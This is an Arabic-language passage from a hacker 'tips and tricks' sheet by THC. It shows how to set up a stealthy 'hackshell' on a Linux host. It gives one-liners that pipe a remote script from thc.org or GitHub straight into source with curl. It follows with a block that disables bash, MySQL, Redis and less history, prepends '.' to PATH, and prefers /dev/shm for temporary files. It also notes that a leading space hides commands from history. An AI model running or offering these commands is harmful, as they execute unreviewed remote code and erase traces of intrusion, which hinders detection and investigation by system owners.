
نصائح وحيل متنوعة
مجموعة من حيلنا المفضلة. العديد من هذه الحيل ليست منا. نحن فقط نجمعها.
نعرض الحيل 'كما هي' دون أي شرح لسبب عملها. تحتاج إلى معرفة لينكس لفهم كيف ولماذا تعمل.
لديك حيل؟ انضم إلينا https://thc.org/ops
1.i. إعداد صدفة اختراق (bash):
اجعل BASH أقل ضجيجًا. يعطّل ~/.bash_history وأشياء أخرى كثيرة.```sh source <(curl -SsfL https://thc.org/hs)
URL بديل:```sh
source <(curl -SsfL https://github.com/hackerschoice/hackshell/raw/main/hackshell.sh)
وإذا لم يكن هناك curl/wget، استخدم surl وcurl مثبتًا (مؤقتًا) باستخدام bin curl.```sh
source <(surl https://raw.githubusercontent.com/hackerschoice/hackshell/main/hackshell.sh)
bin curl to (temporarily) install curl (in memory).تقوم HackShell بأكثر من ذلك بكثير، لكن الأهم من ذلك:```sh
unset HISTFILE
[ -n "$BASH" ] && export HISTFILE="/dev/null"
export BASH_HISTORY="/dev/null"
export LANG=en_US.UTF-8
locale -a 2>/dev/null|grep -Fqim1 en_US.UTF || export LANG=en_US
export LESSHISTFILE=-
export REDISCLI_HISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
TMPDIR="/tmp"
[ -d "/var/tmp" ] && TMPDIR="/var/tmp"
[ -d "/dev/shm" ] && TMPDIR="/dev/shm"
export TMPDIR
export PATH=".:${PATH}"
if [[ "$SHELL" == *"zsh" ]]; then
PS1='%F{red}%n%f@%F{cyan}%m %F{magenta}%~ %(?.%F{green}.%F{red})%#%f '
else
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
fi
alias wget='wget --no-hsts'
alias vi="vi -i NONE"
alias vim="vim -i NONE"
alias screen="screen -ln"
TERM=xterm reset -I
stty cols 400 # paste this on its own before pasting the next line:
resize &>/dev/null || { stty -echo;printf "\e[18t"; read -t5 -rdt R;IFS=';' read -r -a a <<< "${R:-8;25;80}";[ "${a[1]}" -ge "${a[2]}" ] && { R="${a[1]}";a[1]="${a[2]}";a[2]="${R}";};stty sane rows "${a[1]}" cols "${a[2]}";}
# stty sane rows 60 cols 160
نستخدم anew كثيرًا، وهذا حل سريع:```shell
xanew() { awk 'hit[$0]==0 {hit[$0]=1; print $0}'; }
which anew &>/dev/null || alias anew=xanew
نصيحة إضافية:
أي أمر يبدأ بـ" " (مسافة) لن [يُسجَّل في سجل الأوامر](https://unix.stackexchange.com/questions/115917/why-is-bash-not-storing-commands-that-start-with-spaces) أيضًا.```
$ id